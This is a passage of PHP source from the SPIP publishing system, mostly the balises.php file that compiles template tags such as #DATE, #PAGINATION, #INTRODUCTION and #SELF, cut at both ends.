and $p->fonctions ) { $n = strlen($next->texte) - strlen(ltrim($next->texte)); if ($n) { $champ = new Texte; $champ->texte = substr($next->texte, 0, $n); $champ->ligne = $p->ligne; $p->apres = array($champ); $next->texte = substr($next->texte, $n); } } $contenu[] = array($d($p, $fmt, $prof2), $p->type); } $f = 'format_suite_' . $fmt; return $f($contenu); } function public_decompiler($liste, $fmt = '', $prof = 0, $quoi = '') { if (!include_spip('public/format_' . $fmt)) { return "'$fmt'?"; } $f = 'decompiler_' . $quoi; return $f($liste, $fmt, $prof); } balises.php000066600000230177152442520540006720 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Ce fichier regroupe la quasi totalité des définitions de `#BALISES` de SPIP. * * Pour chaque balise, il est possible de surcharger, dans son fichier * mes_fonctions.php, la fonction `balise_TOTO_dist()` par une fonction * `balise_TOTO()` respectant la même API : elle reçoit en entrée un objet * de classe `Champ`, le modifie et le retourne. Cette classe est définie * dans public/interfaces. * * Des balises dites «dynamiques» sont également déclarées dans le * répertoire ecrire/balise/ * * @package SPIP\Core\Compilateur\Balises **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Retourne le code PHP d'un argument de balise s'il est présent * * @uses calculer_liste() * @example * ``` * // Retourne le premier argument de la balise * // #BALISE{premier,deuxieme} * $arg = interprete_argument_balise(1,$p); * ``` * * @param int $n * Numéro de l'argument * @param Champ $p * Pile au niveau de la balise * @return string|null * Code PHP si cet argument est présent, sinon null **/ function interprete_argument_balise($n, $p) { if (($p->param) && (!$p->param[0][0]) && (count($p->param[0]) > $n)) { return calculer_liste($p->param[0][$n], $p->descr, $p->boucles, $p->id_boucle); } else { return null; } } // // Définition des balises // /** * Compile la balise `#NOM_SITE_SPIP` retournant le nom du site * * @balise * @link http://www.spip.net/4622 * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_NOM_SITE_SPIP_dist($p) { $p->code = "\$GLOBALS['meta']['nom_site']"; #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#EMAIL_WEBMASTER` retournant l'adresse courriel * du webmestre * * @balise * @link http://www.spip.net/4586 * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_EMAIL_WEBMASTER_dist($p) { $p->code = "\$GLOBALS['meta']['email_webmaster']"; #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#DESCRIPTIF_SITE_SPIP` qui retourne le descriptif * du site ! * * @balise * @link http://www.spip.net/4338 * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_DESCRIPTIF_SITE_SPIP_dist($p) { $p->code = "\$GLOBALS['meta']['descriptif_site']"; #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#CHARSET` qui retourne le nom du jeu de caractères * utilisé par le site tel que `utf-8` * * @balise * @link http://www.spip.net/4331 * @example * ``` * <meta http-equiv="Content-Type" content="text/html; charset=#CHARSET" /> * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_CHARSET_dist($p) { $p->code = "\$GLOBALS['meta']['charset']"; #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#LANG_LEFT` retournant 'left' si la langue s'écrit * de gauche à droite, sinon 'right' * * @note * Peut servir à l'écriture de code CSS dans un squelette, mais * pour inclure un fichier css, il vaut mieux utiliser le filtre * `direction_css` si on le souhaite sensible à la langue utilisé. * * @balise * @link http://www.spip.net/4625 * @see lang_dir() * @see balise_LANG_RIGHT_dist() * @see balise_LANG_DIR_dist() * @see direction_css() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_LANG_LEFT_dist($p) { $_lang = champ_sql('lang', $p); $p->code = "lang_dir($_lang, 'left','right')"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#LANG_RIGHT` retournant 'right' si la langue s'écrit * de gauche à droite, sinon 'left' * * @balise * @link http://www.spip.net/4625 * @see lang_dir() * @see balise_LANG_LEFT_dist() * @see balise_LANG_DIR_dist() * @see direction_css() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_LANG_RIGHT_dist($p) { $_lang = champ_sql('lang', $p); $p->code = "lang_dir($_lang, 'right','left')"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#LANG_DIR` retournant 'ltr' si la langue s'écrit * de gauche à droite, sinon 'rtl' * * @balise * @link http://www.spip.net/4625 * @see lang_dir() * @see balise_LANG_LEFT_dist() * @see balise_LANG_RIGHT_dist() * @example * ``` * <html dir="#LANG_DIR" lang="#LANG" * xmlns="http://www.w3.org/1999/xhtml" * xml:lang="#LANG" class="[(#LANG_DIR)][ (#LANG)] no-js"> * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_LANG_DIR_dist($p) { $_lang = champ_sql('lang', $p); $p->code = "lang_dir($_lang, 'ltr','rtl')"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#PUCE` affichant une puce * * @balise * @link http://www.spip.net/4628 * @see definir_puce() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_PUCE_dist($p) { $p->code = "definir_puce()"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#DATE` qui retourne la date de mise en ligne * * Cette balise retourne soit le champ `date` d'une table si elle est * utilisée dans une boucle, sinon la date de calcul du squelette. * * @balise * @link http://www.spip.net/4336 Balise DATE * @link http://www.spip.net/1971 La gestion des dates * @example * ``` * <td>[(#DATE|affdate_jourcourt)]</td> * ``` * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_DATE_dist($p) { $d = champ_sql('date', $p); # if ($d === "@\$Pile[0]['date']") # $d = "isset(\$Pile[0]['date']) ? $d : time()"; $p->code = $d; return $p; } /** * Compile la balise `#DATE_REDAC` qui retourne la date de première publication * * Cette balise retourne le champ `date_redac` d'une table * * @balise * @link http://www.spip.net/3858 Balises DATE_MODIF et DATE_REDAC * @link http://www.spip.net/1971 La gestion des dates * @see balise_DATE_MODIF_dist() * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_DATE_REDAC_dist($p) { $d = champ_sql('date_redac', $p); # if ($d === "@\$Pile[0]['date_redac']") # $d = "isset(\$Pile[0]['date_redac']) ? $d : time()"; $p->code = $d; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#DATE_MODIF` qui retourne la date de dernière modification * * Cette balise retourne le champ `date_modif` d'une table * * @balise * @link http://www.spip.net/3858 Balises DATE_MODIF et DATE_REDAC * @link http://www.spip.net/1971 La gestion des dates * @see balise_DATE_REDAC_dist() * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_DATE_MODIF_dist($p) { $p->code = champ_sql('date_modif', $p); $p->interdire_scripts = false; return $p; } /** * Compile la balise `#DATE_NOUVEAUTES` indiquant la date de dernier envoi * du mail de nouveautés * * @balise * @link http://www.spip.net/4337 Balise DATE_NOUVEAUTES * @link http://www.spip.net/1971 La gestion des dates * @see balise_DATE_REDAC_dist() * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_DATE_NOUVEAUTES_dist($p) { $p->code = "((\$GLOBALS['meta']['quoi_de_neuf'] == 'oui' AND isset(\$GLOBALS['meta']['dernier_envoi_neuf'])) ? \$GLOBALS['meta']['dernier_envoi_neuf'] : \"'0000-00-00'\")"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#DOSSIER_SQUELETTE` retournant le chemin vers le * répertoire de squelettes actuellement utilisé * * @balise * @deprecated Utiliser `#CHEMIN` * @link http://www.spip.net/4627 * @see balise_CHEMIN_dist() * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_DOSSIER_SQUELETTE_dist($p) { $code = substr(addslashes(dirname($p->descr['sourcefile'])), strlen(_DIR_RACINE)); $p->code = "_DIR_RACINE . '$code'" . $p->interdire_scripts = false; return $p; } /** * Compile la balise `#SQUELETTE` retournant le chemin du squelette courant * * @balise * @link http://www.spip.net/4027 * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_SQUELETTE_dist($p) { $code = addslashes($p->descr['sourcefile']); $p->code = "'$code'" . $p->interdire_scripts = false; return $p; } /** * Compile la balise `#SPIP_VERSION` qui affiche la version de SPIP * * @balise * @see spip_version() * @example * ``` * <meta name="generator" content="SPIP[ (#SPIP_VERSION)]" /> * ``` * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_SPIP_VERSION_dist($p) { $p->code = "spip_version()"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#NOM_SITE` qui affiche le nom du site. * * Affiche le nom du site ou sinon l'URL ou le titre de l'objet * Utiliser `#NOM_SITE*` pour avoir le nom du site ou rien. * * Cette balise interroge les colonnes `nom_site` ou `url_site` * dans la boucle la plus proche. * * @balise * @see calculer_url() * @example * ``` * <a href="#URL_SITE">#NOM_SITE</a> * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_NOM_SITE_dist($p) { if (!$p->etoile) { $p->code = "supprimer_numero(calculer_url(" . champ_sql('url_site', $p) . "," . champ_sql('nom_site', $p) . ", 'titre', \$connect, false))"; } else { $p->code = champ_sql('nom_site', $p); } $p->interdire_scripts = true; return $p; } /** * Compile la balise `#NOTE` qui affiche les notes de bas de page * * @balise * @link http://www.spip.net/3964 * @see calculer_notes() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_NOTES_dist($p) { // Recuperer les notes $p->code = 'calculer_notes()'; #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#RECHERCHE` qui retourne le terme de recherche demandé * * Retourne un terme demandé en recherche, en le prenant dans _request() * sous la clé `recherche`. * * @balise * @example * ``` * <h3>Recherche de : #RECHERCHE</h3> * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_RECHERCHE_dist($p) { $p->code = 'entites_html(_request("recherche"))'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#COMPTEUR_BOUCLE` qui retourne le numéro de l’itération * actuelle de la boucle * * @balise * @link http://www.spip.net/4333 * @see balise_TOTAL_BOUCLE_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_COMPTEUR_BOUCLE_dist($p) { $b = $p->nom_boucle ? $p->nom_boucle : $p->descr['id_mere']; if ($b === '') { $msg = array( 'zbug_champ_hors_boucle', array('champ' => '#COMPTEUR_BOUCLE') ); erreur_squelette($msg, $p); } else { $p->code = "\$Numrows['$b']['compteur_boucle']"; $p->boucles[$b]->cptrows = true; $p->interdire_scripts = false; return $p; } } /** * Compile la balise `#TOTAL_BOUCLE` qui retourne le nombre de résultats * affichés par la boucle * * @balise * @link http://www.spip.net/4334 * @see balise_COMPTEUR_BOUCLE_dist() * @see balise_GRAND_TOTAL_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_TOTAL_BOUCLE_dist($p) { $b = $p->nom_boucle ? $p->nom_boucle : $p->descr['id_mere']; if ($b === '' || !isset($p->boucles[$b])) { $msg = array( 'zbug_champ_hors_boucle', array('champ' => "#$b" . 'TOTAL_BOUCLE') ); erreur_squelette($msg, $p); } else { $p->code = "\$Numrows['$b']['total']"; $p->boucles[$b]->numrows = true; $p->interdire_scripts = false; } return $p; } /** * Compile la balise `#POINTS` qui affiche la pertinence des résultats * * Retourne le calcul `points` réalisé par le critère `recherche`. * Cette balise nécessite donc la présence de ce critère. * * @balise * @link http://www.spip.net/903 Boucles et balises de recherche * @see critere_recherche_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_POINTS_dist($p) { return rindex_pile($p, 'points', 'recherche'); } /** * Compile la balise `#POPULARITE_ABSOLUE` qui affiche la popularité absolue * * Cela correspond à la popularité quotidienne de l'article * * @balise * @link http://www.spip.net/1846 La popularité * @see balise_POPULARITE_dist() * @see balise_POPULARITE_MAX_dist() * @see balise_POPULARITE_SITE_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_POPULARITE_ABSOLUE_dist($p) { $p->code = 'ceil(' . champ_sql('popularite', $p) . ')'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#POPULARITE_SITE` qui affiche la popularité du site * * La popularité du site est la somme de toutes les popularités absolues. * * @balise * @link http://www.spip.net/1846 La popularité * @see balise_POPULARITE_ABSOLUE_dist() * @see balise_POPULARITE_dist() * @see balise_POPULARITE_MAX_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_POPULARITE_SITE_dist($p) { $p->code = 'ceil($GLOBALS["meta"][\'popularite_total\'])'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#POPULARITE_MAX` qui affiche la popularité maximum * parmis les popularités des articles * * Cela correspond à la popularité quotidienne de l'article * * @balise * @link http://www.spip.net/1846 La popularité * @see balise_POPULARITE_ABSOLUE_dist() * @see balise_POPULARITE_dist() * @see balise_POPULARITE_SITE_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_POPULARITE_MAX_dist($p) { $p->code = 'ceil($GLOBALS["meta"][\'popularite_max\'])'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#VALEUR` retournant le champ `valeur` * * Utile dans une boucle DATA pour retourner une valeur. * * @balise * @link http://www.spip.net/5546 #CLE et #VALEUR * @see table_valeur() * @example * ``` * #VALEUR renvoie le champ valeur * #VALEUR{x} renvoie #VALEUR|table_valeur{x}, * équivalent à #X (si X n'est pas une balise spécifique à SPIP) * #VALEUR{a/b} renvoie #VALEUR|table_valeur{a/b} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_VALEUR_dist($p) { $b = $p->nom_boucle ? $p->nom_boucle : $p->id_boucle; $p->code = index_pile($p->id_boucle, 'valeur', $p->boucles, $b);; if (($v = interprete_argument_balise(1, $p)) !== null) { $p->code = 'table_valeur(' . $p->code . ', ' . $v . ')'; } $p->interdire_scripts = true; return $p; } /** * Compile la balise `#EXPOSE` qui met en évidence l'élément sur lequel * la page se trouve * * Expose dans une boucle l'élément de la page sur laquelle on se trouve, * en retournant `on` si l'élément correspond à la page, une chaîne vide sinon. * * On peut passer les paramètres à faire retourner par la balise. * * @example * ``` * <a href="#URL_ARTICLE"[ class="(#EXPOSE)"]> * <a href="#URL_ARTICLE"[ class="(#EXPOSE{actif})"]> * <a href="#URL_ARTICLE"[ class="(#EXPOSE{on,off})"]> * ``` * * @balise * @link http://www.spip.net/2319 Exposer un article * @uses calculer_balise_expose() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_EXPOSE_dist($p) { $on = "'on'"; $off = "''"; if (($v = interprete_argument_balise(1, $p)) !== null) { $on = $v; if (($v = interprete_argument_balise(2, $p)) !== null) { $off = $v; } } return calculer_balise_expose($p, $on, $off); } /** * Calcul de la balise expose * * @see calcul_exposer() * * @param Champ $p * Pile au niveau de la balise * @param string $on * Texte à afficher si l'élément est exposé (code à écrire tel que "'on'") * @param string $off * Texte à afficher si l'élément n'est pas exposé (code à écrire tel que "''") * @return Champ * Pile complétée par le code à générer **/ function calculer_balise_expose($p, $on, $off) { $b = $p->nom_boucle ? $p->nom_boucle : $p->id_boucle; if (empty($p->boucles[$b]->primary)) { $msg = array('zbug_champ_hors_boucle', array('champ' => '#EXPOSER')); erreur_squelette($msg, $p); } else { $key = $p->boucles[$b]->primary; $type = $p->boucles[$p->id_boucle]->primary; $desc = $p->boucles[$b]->show; $connect = sql_quote($p->boucles[$b]->sql_serveur); // Ne pas utiliser champ_sql, on jongle avec le nom boucle explicite $c = index_pile($p->id_boucle, $type, $p->boucles); if (isset($desc['field']['id_parent'])) { $parent = 0; // pour if (!$parent) dans calculer_expose } elseif (isset($desc['field']['id_rubrique'])) { $parent = index_pile($p->id_boucle, 'id_rubrique', $p->boucles, $b); } elseif (isset($desc['field']['id_groupe'])) { $parent = index_pile($p->id_boucle, 'id_groupe', $p->boucles, $b); } else { $parent = "''"; } $p->code = "(calcul_exposer($c, '$type', \$Pile[0], $parent, '$key', $connect) ? $on : $off)"; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#DEBUT_SURLIGNE` qui permettait le surlignage * des mots d'une recherche * * @note * Cette balise n'a plus d'effet depuis r9343 * * @balise * @see balise_FIN_SURLIGNE_dist() * @deprecated Utiliser les classes CSS `surlignable` ou `pas_surlignable` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_DEBUT_SURLIGNE_dist($p) { include_spip('inc/surligne'); $p->code = "'<!-- " . MARQUEUR_SURLIGNE . " -->'"; return $p; } /** * Compile la balise `#FIN_SURLIGNE` qui arrêtait le surlignage * des mots d'une recherche * * @note * Cette balise n'a plus d'effet depuis r9343 * * @balise * @see balise_DEBUT_SURLIGNE_dist() * @deprecated Utiliser les classes CSS `surlignable` ou `pas_surlignable` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_FIN_SURLIGNE_dist($p) { include_spip('inc/surligne'); $p->code = "'<!-- " . MARQUEUR_FSURLIGNE . "-->'"; return $p; } /** * Compile la balise `#INTRODUCTION` * * Retourne une introduction d'un objet éditorial, c'est à dire les 600 * premiers caractères environ du champ 'texte' de l'objet ou le contenu * indiqué entre `<intro>` et `</intro>` de ce même champ. * * Pour les articles, l'introduction utilisée est celle du champ `descriptif` * s'il est renseigné, sinon il est pris dans les champs `chapo` et `texte` et * est par défaut limité à 500 caractères. * * Pour les rubriques, l'introduction utilisée est celle du champ `descriptif` * s'il est renseigné, sinon du champ texte. * * La balise accèpte 1 paramètre indiquant la longueur en nombre de caractères * de l'introduction. * * @see filtre_introduction_dist() * @example * ``` * #INTRODUCTION * #INTRODUCTION{300} * ``` * * @balise * @link http://www.spip.net/@introduction * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_INTRODUCTION_dist($p) { $type = $p->type_requete; $_texte = champ_sql('texte', $p); $_descriptif = ($type == 'articles' or $type == 'rubriques') ? champ_sql('descriptif', $p) : "''"; if ($type == 'articles') { $_chapo = champ_sql('chapo', $p); $_texte = "(strlen($_descriptif)) ? '' : $_chapo . \"\\n\\n\" . $_texte"; } // longueur en parametre, ou valeur par defaut $longueur_defaut = objet_info($type, 'introduction_longueur'); if (!$longueur_defaut) { $longueur_defaut = 600; } $_suite = 'null'; $_longueur = $longueur_defaut; if (($v = interprete_argument_balise(1, $p)) !== null) { $_longueur = 'is_numeric(' . $v . ')?intval(' . $v . '):' . $longueur_defaut; $_suite = '!is_numeric(' . $v . ')?' . $v . ':null'; } if (($v2 = interprete_argument_balise(2, $p)) !== null) { $_suite = $v2; } $f = chercher_filtre('introduction'); $p->code = "$f($_descriptif, $_texte, $_longueur, \$connect, $_suite)"; #$p->interdire_scripts = true; $p->etoile = '*'; // propre est deja fait dans le calcul de l'intro return $p; } /** * Compile la balise `#LANG` qui affiche la langue de l'objet (ou d'une boucle supérieure), * et à defaut la langue courante * * La langue courante est celle du site ou celle qui a été passée dans l'URL par le visiteur. * L'étoile `#LANG*` n'affiche rien si aucune langue n'est trouvée dans le SQL ou le contexte. * * @balise * @link http://www.spip.net/3864 * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_LANG_dist($p) { $_lang = champ_sql('lang', $p); if (!$p->etoile) { $p->code = "spip_htmlentities($_lang ? $_lang : \$GLOBALS['spip_lang'])"; } else { $p->code = "spip_htmlentities($_lang)"; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#LESAUTEURS` chargée d'afficher la liste des auteurs d'un objet * * - Soit le champ `lesauteurs` existe dans la table et à ce moment là, * la balise retourne son contenu, * - soit la balise appelle le modele `lesauteurs.html` en lui passant * le couple `objet` et `id_objet` dans son environnement. * * @balise * @link http://www.spip.net/3966 Description de la balise * @link http://www.spip.net/902 Description de la boucle ARTICLES * @link http://www.spip.net/911 Description de la boucle SYNDIC_ARTICLES * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_LESAUTEURS_dist($p) { // Cherche le champ 'lesauteurs' dans la pile $_lesauteurs = champ_sql('lesauteurs', $p, false); // Si le champ n'existe pas (cas de spip_articles), on applique // le modele lesauteurs.html en passant id_article dans le contexte; // dans le cas contraire on prend le champ 'lesauteurs' // (cf extension sites/) if ($_lesauteurs and $_lesauteurs != '@$Pile[0][\'lesauteurs\']' ) { $p->code = "safehtml($_lesauteurs)"; // $p->interdire_scripts = true; } else { if (!$p->id_boucle) { $connect = ''; $objet = 'article'; $id_table_objet = 'id_article'; } else { $b = $p->nom_boucle ? $p->nom_boucle : $p->id_boucle; $connect = $p->boucles[$b]->sql_serveur; $type_boucle = $p->boucles[$b]->type_requete; $objet = objet_type($type_boucle); $id_table_objet = id_table_objet($type_boucle); } $c = memoriser_contexte_compil($p); $p->code = sprintf(CODE_RECUPERER_FOND, "'modeles/lesauteurs'", "array('objet'=>'" . $objet . "','id_objet' => " . champ_sql($id_table_objet, $p) . ",'$id_table_objet' => " . champ_sql($id_table_objet, $p) . ($objet == 'article' ? "" : ",'id_article' => " . champ_sql('id_article', $p)) . ")", "'trim'=>true, 'compil'=>array($c)", _q($connect)); $p->interdire_scripts = false; // securite apposee par recuperer_fond() } return $p; } /** * Compile la balise `#RANG` chargée d'afficher le numéro de l'objet * * Affiche le « numero de l'objet ». Soit `1` quand on a un titre `1. Premier article`. * * Ceci est transitoire afin de préparer une migration vers un vrai système de * tri des articles dans une rubrique (et plus si affinités). * La balise permet d'extraire le numero masqué par le filtre `supprimer_numero`. * * La balise recupère le champ declaré dans la définition `table_titre` * de l'objet, ou à defaut du champ `titre` * * Si un champ `rang` existe, il est pris en priorité. * * @balise * @link http://www.spip.net/5495 * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_RANG_dist($p) { $b = index_boucle($p); if ($b === '') { $msg = array( 'zbug_champ_hors_boucle', array('champ' => '#RANG') ); erreur_squelette($msg, $p); } else { // chercher d'abord un champ sql rang (mais pas dans le env : defaut '' si on trouve pas de champ sql) // dans la boucle immediatement englobante uniquement // sinon on compose le champ calcule $_rang = champ_sql('rang', $p, '', false); // si pas trouve de champ sql rang : if (!$_rang or $_rang == "''") { $boucle = &$p->boucles[$b]; $trouver_table = charger_fonction('trouver_table', 'base'); $desc = $trouver_table($boucle->id_table); $_titre = ''; # où extraire le numero ? if (isset($desc['titre'])) { $t = $desc['titre']; if ( // Soit on trouve avec la déclaration de la lang AVANT preg_match(';(?:lang\s*,)\s*(.*?titre)\s*(,|$);', $t, $m) // Soit on prend depuis le début or preg_match(';^(.*?titre)\s*(,|$);', $t, $m) ) { $m = preg_replace(',as\s+titre$,i', '', $m[1]); $m = trim($m); if ($m != "''") { if (!preg_match(",\W,", $m)) { $m = $boucle->id_table . ".$m"; } $m .= " AS titre_rang"; $boucle->select[] = $m; $_titre = '$Pile[$SP][\'titre_rang\']'; } } } // si on n'a rien trouvé, on utilise le champ titre classique if (!$_titre) { $_titre = champ_sql('titre', $p); } $_rang = "recuperer_numero($_titre)"; } $p->code = $_rang; $p->interdire_scripts = false; } return $p; } /** * Compile la balise `#POPULARITE` qui affiche la popularité relative. * * C'est à dire le pourcentage de la fréquentation de l'article * (la popularité absolue) par rapport à la popularité maximum. * * @balise * @link http://www.spip.net/1846 La popularité * @see balise_POPULARITE_ABSOLUE_dist() * @see balise_POPULARITE_MAX_dist() * @see balise_POPULARITE_SITE_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_POPULARITE_dist($p) { $_popularite = champ_sql('popularite', $p); $p->code = "(ceil(min(100, 100 * $_popularite / max(1 , 0 + \$GLOBALS['meta']['popularite_max']))))"; $p->interdire_scripts = false; return $p; } /** * Code de compilation pour la balise `#PAGINATION` * * Le code produit est trompeur, car les modèles ne fournissent pas Pile[0]. * On produit un appel à `_request` si on ne l'a pas, mais c'est inexact: * l'absence peut-être due à une faute de frappe dans le contexte inclus. */ define('CODE_PAGINATION', '%s($Numrows["%s"]["grand_total"], %s, isset($Pile[0][%4$s])?$Pile[0][%4$s]:intval(_request(%4$s)), %5$s, %6$s, %7$s, %8$s, array(%9$s))'); /** * Compile la balise `#PAGINATION` chargée d'afficher une pagination * * Elle charge le modèle `pagination.html` (par défaut), mais un paramètre * permet d'indiquer d'autres modèles. `#PAGINATION{nom}` utilisera le * modèle `pagination_nom.html`. * * Cette balise nécessite le critère `pagination` sur la boucle où elle * est utilisée. * * @balise * @link http://www.spip.net/3367 Le système de pagination * @see filtre_pagination_dist() * @see critere_pagination_dist() * @see balise_ANCRE_PAGINATION_dist() * @example * ``` * [<p class="pagination">(#PAGINATION{prive})</p>] * ``` * * @param Champ $p * Pile au niveau de la balise * @param string $liste * Afficher ou non les liens de pagination (variable de type `string` * car code à faire écrire au compilateur) : * - `true` pour les afficher * - `false` pour afficher uniquement l'ancre. * @return Champ * Pile complétée par le code à générer */ function balise_PAGINATION_dist($p, $liste = 'true') { $b = $p->nom_boucle ? $p->nom_boucle : $p->descr['id_mere']; // s'il n'y a pas de nom de boucle, on ne peut pas paginer if ($b === '') { $msg = array( 'zbug_champ_hors_boucle', array('champ' => $liste ? 'PAGINATION' : 'ANCRE_PAGINATION') ); erreur_squelette($msg, $p); return $p; } // s'il n'y a pas de mode_partie, c'est qu'on se trouve // dans un boucle recursive ou qu'on a oublie le critere {pagination} if (!$p->boucles[$b]->mode_partie) { if (!$p->boucles[$b]->table_optionnelle) { $msg = array( 'zbug_pagination_sans_critere', array('champ' => '#PAGINATION') ); erreur_squelette($msg, $p); } return $p; } // a priori true // si false, le compilo va bloquer sur des syntaxes avec un filtre sans argument qui suit la balise // si true, les arguments simples (sans truc=chose) vont degager $_contexte = argumenter_inclure($p->param, true, $p, $p->boucles, $p->id_boucle, false, false); if (count($_contexte)) { list($key, $val) = each($_contexte); if (is_numeric($key)) { array_shift($_contexte); $__modele = interprete_argument_balise(1, $p); } } if (count($_contexte)) { $code_contexte = implode(',', $_contexte); } else { $code_contexte = ''; } $connect = $p->boucles[$b]->sql_serveur; $pas = $p->boucles[$b]->total_parties; $f_pagination = chercher_filtre('pagination'); $type = $p->boucles[$b]->modificateur['debut_nom']; $modif = ($type[0] !== "'") ? "'debut'.$type" : ("'debut" . substr($type, 1)); $p->code = sprintf(CODE_PAGINATION, $f_pagination, $b, $type, $modif, $pas, $liste, ((isset($__modele) and $__modele) ? $__modele : "''"), _q($connect), $code_contexte); $p->boucles[$b]->numrows = true; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#ANCRE_PAGINATION` chargée d'afficher l'ancre * de la pagination * * Cette ancre peut ainsi être placée au-dessus la liste des éléments * de la boucle alors qu'on mettra les liens de pagination en-dessous de * cette liste paginée. * * Cette balise nécessite le critère `pagination` sur la boucle où elle * est utilisée. * * @balise * @link http://www.spip.net/3367 Le système de pagination * @link http://www.spip.net/4328 Balise ANCRE_PAGINATION * @see critere_pagination_dist() * @see balise_PAGINATION_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_ANCRE_PAGINATION_dist($p) { if ($f = charger_fonction('PAGINATION', 'balise', true)) { return $f($p, $liste = 'false'); } else { return null; } // ou une erreur ? } /** * Compile la balise `#GRAND_TOTAL` qui retourne le nombre total de résultats * d'une boucle * * Cette balise set équivalente à `#TOTAL_BOUCLE` sauf pour les boucles paginées. * Dans ce cas elle indique le nombre total d'éléments répondant aux critères * hors pagination. * * @balise * @see balise_GRAND_TOTAL_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_GRAND_TOTAL_dist($p) { $b = $p->nom_boucle ? $p->nom_boucle : $p->descr['id_mere']; if ($b === '' || !isset($p->boucles[$b])) { $msg = array( 'zbug_champ_hors_boucle', array('champ' => "#$b" . 'TOTAL_BOUCLE') ); erreur_squelette($msg, $p); } else { $p->code = "(isset(\$Numrows['$b']['grand_total']) ? \$Numrows['$b']['grand_total'] : \$Numrows['$b']['total'])"; $p->boucles[$b]->numrows = true; $p->interdire_scripts = false; } return $p; } /** * Compile la balise `#SELF` qui retourne l’URL de la page appelée. * * Cette URL est nettoyée des variables propres à l’exécution de SPIP * tel que `var_mode`. * * @note * Attention dans un `INCLURE()` ou une balise dynamique, on n'a pas le droit de * mettre en cache `#SELF` car il peut correspondre à une autre page (attaque XSS) * (Dans ce cas faire <INCLURE{self=#SELF}> pour différencier les caches.) * * @balise * @link http://www.spip.net/4574 * @example * ``` * <a href="[(#SELF|parametre_url{id_mot,#ID_MOT})]">... * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_SELF_dist($p) { $p->code = 'self()'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#CHEMIN` qui cherche un fichier dans les chemins * connus de SPIP et retourne son chemin complet depuis la 